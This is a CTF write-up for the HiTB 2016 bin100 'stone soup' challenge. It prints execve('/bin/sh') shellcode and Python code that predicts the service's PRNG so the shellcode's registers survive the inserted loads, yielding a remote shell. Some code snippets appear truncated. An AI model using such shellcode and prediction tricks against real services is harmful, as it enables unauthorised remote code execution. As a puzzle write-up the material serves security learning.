Posted by Ingmar ‘doskop’ Steen under HiTB 2016 CTF with tag(s) CTF


This is a write-up for the bin100 challenge of the HiTB 2016 CTF.

Nowadays in the times of cyber warfare it is important that code provided by attackers is executed in a safe way. Our shellcode prevention technology, dubbed “stone soup”, has provided us with years of sekjurity. You’ll find this service to be running on

Source code for this service is available here.


The program allows you to feed it assembler instructions for the x86_64 architecture. It starts out by settings all registers (except for RSP) to a random values. It then adds your instructions but adds 8 register loads for random registers using random values after each statement where statements are separated by ; or \n. Finally it assembles the program using keystone engine and executes it.

There are a couple of ways to solve this one: The easy ways would be to find a way to manipulate the program to allow chaining assembler instructions without it noticing (hint: try \r instead of \n) or tricking keystone engine into ignoring the register loads. The hard way would be to find a solution where the register loads don’t matter. Needless to say, I took the hard path.


First, let’s create some shellcode using intel syntax (the default for keystone-engine) that defers loading the registers as long as possible and in a way where we can easily change their order:

sub rsp, 8
mov qword ptr [rsp], 1852400175
mov qword ptr [rsp + 4], 6845231
push 0
push 0
push rsp
add dword ptr [rsp], 16
push rsp
push rsp
add dword ptr [rsp], 32
mov rax, 59
xor rdx, rdx
mov rsi, qword ptr [rsp + 8]
mov rdi, qword ptr [rsp]

This basically pushes /bin/sh to the stack, creates an array structure on the stack call calls the execve syscall like this: syscall_execve('/bin/sh\0', ['/bin/sh', 0], 0).

Since the random number generator is very predictable and generates the same sequence on every run, let’s find a state where the registers we need aren’t destroyed.

We start by lifting the prng from the challenge:

def xs128p(state0, state1):
    s1 = state0 & ((1 << 64) - 1)
    s0 = state1 & ((1 << 64) - 1)

    s1 ^= (s1 << 23) & ((1 << 64) - 1)
    s1 ^= (s1 >> 17) & ((1 << 64) - 1)
    s1 ^= s0 & ((1 << 64) - 1)
    s1 ^= (s0 >> 26) & ((1 << 64) - 1)

    state0 = state1 & ((1 << 64) - 1)
    state1 = s1 & ((1 << 64) - 1)

    generated = (state0 + state1) & ((1 << 64) - 1)
    return state0, state1, generated

def prng():
    state0, state1 = struct.unpack("QQ", "HACKINTHEBOX2016")
    while True:
        state0, state1, value = xs128p(state0, state1)
        yield value

And create a function that tries to find a state in the random generator where a given set of registers isn’t destroyed before the next instruction (not only do the registers have to survive all 4 registers loads, it also needs to get to the syscall with the registers intact):

def find_solution(save_regs):
    # Initialise the PRNG and set the initial state
    p = prng()
    for x in xrange(15):

    # Here we keep track of which registers we've saved so far.
    saved_regs = []

    for i in itertools.count(1):
        # Create a list of registers that are destroyed in this round:
        destroyed = []
        for x in xrange(8):
            destroyed.append(regs[next(p) % 15])

        # Check if we're destroying any of the registers we've saved so far:
        if set(destroyed) & set(saved_regs):
            saved_regs = []

        # Are we done yet?
        if len(saved_regs) == len(save_regs):
            print saved_regs, 'after', i

        # Pick the next register we will try to save:
        want_reg = save_regs[len(saved_regs)]

Now, we run this for every permutation of the registers we want to save (rax, rdx, rdi and rsi):

for save_regs in itertools.permutations(['rdx', 'rax', 'rdi', 'rsi']):

You can find the full script here.

This gives us a number of solutions, the shortest being:

['rsi', 'rdi', 'rdx', 'rax'] after 67

This tells use that the register loads in the order rsi, rdi, rdx, rax should finish on line 67 of the assembler script and the syscall should be on line 68. Applying this knowledge to the original shellcode gives us this. If you were to feed this to the service you end up with this. Lo and behold, our registers remain intact.

Send the to the service and you’ll get a remote shell.